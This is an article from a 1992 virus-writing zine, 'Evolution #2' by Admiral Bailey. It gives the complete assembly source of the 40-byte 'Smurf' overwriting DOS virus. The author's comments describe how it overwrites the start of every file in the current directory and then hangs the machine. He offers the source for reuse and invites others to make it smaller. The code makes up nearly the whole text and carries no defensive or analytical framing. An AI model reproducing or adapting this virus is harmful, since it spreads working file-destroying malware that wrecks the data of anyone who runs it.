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+ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
+
+Article Title: The Smurf Virus
+Author: Admiral Bailey
+
+
+;---
+; The Smurf virus [40 Bytes Long]
+;
+; Author   : Admiral Bailey [YAM '92]
+; Date     : June 6 1992
+; Language : Assembly [TASM 2.0]
+;
+; Notes:The Smurf virus was my first attempt at writing the smallest
+;       overwriting virus known.  For a first attempt it wasn't that
+;       bad. So far I have got it down to 40 bytes.  The record that
+;       does the same as this is about 38 bytes.  So I gotta loose 2
+;       bytes in here somewhere.  Well seeing as this small thing is
+;       probably the easiest virus in the world to disassemble, I have
+;       included the source in this issue of Evolution for all of you
+;       to take a look at.  The source is for you to use.  If you
+;       happend to make anything smaller using this source please just
+;       give recognition to myself, Admiral Bailey, saying that you got
+;       help looking at this source.  The only thing that this does is
+;       find everyfile in the current directory and overwrite the 1st
+;       40 bytes with itself.  Then locks your computer while it is in
+;       a search loop looking for more file when there are none.  A
+;       neat thing about this is that it displays its entire self to
+;       the screen when executed.  Scan 91 notices this as the mini
+;       virus but I dont blame it seeing that you cant realy avoid
+;       scan when your virus gets this small. Well enjoy the source...
+;       and remember if you use it and enjoy it just let me know.
+;---
+code    segment
+        assume  ds:code, ss:code, cs:code, es:code
+        org     100h                    ;Make it a .com file
+
+virus_start     equ     $
+
+start:
+        mov     dx,offset file_type     ;type of file to look for
+        mov     ah,4eh                  ;Find first file command
+
+infect:
+        int     21h
+        mov     ax,3d02h                ;open again to reset handle
+        mov     dx,80h+1eh              ;moves filename into dx
+        int     21h
+        mov     bx,ax                   ;save handle again
+        mov     cx,virus_length         ;put size of virus in cx
+        mov     dx,100h                 ;where the code starts
+        mov     ah,40h                  ;write to handle command
+        int     21h                     ;write virus into file
+        mov     ah,3eh                  ;close handle service
+        int     21h                     ;do it
+
+find_next_file:
+        mov     ah,4fh                  ;find next file command
+        jmp     infect
+
+file_type       db      '*.*',0
+virus_end       equ     $
+virus_length    =       virus_end - virus_start ;length of virus
+
+code    ends
+
+        end     start
+
+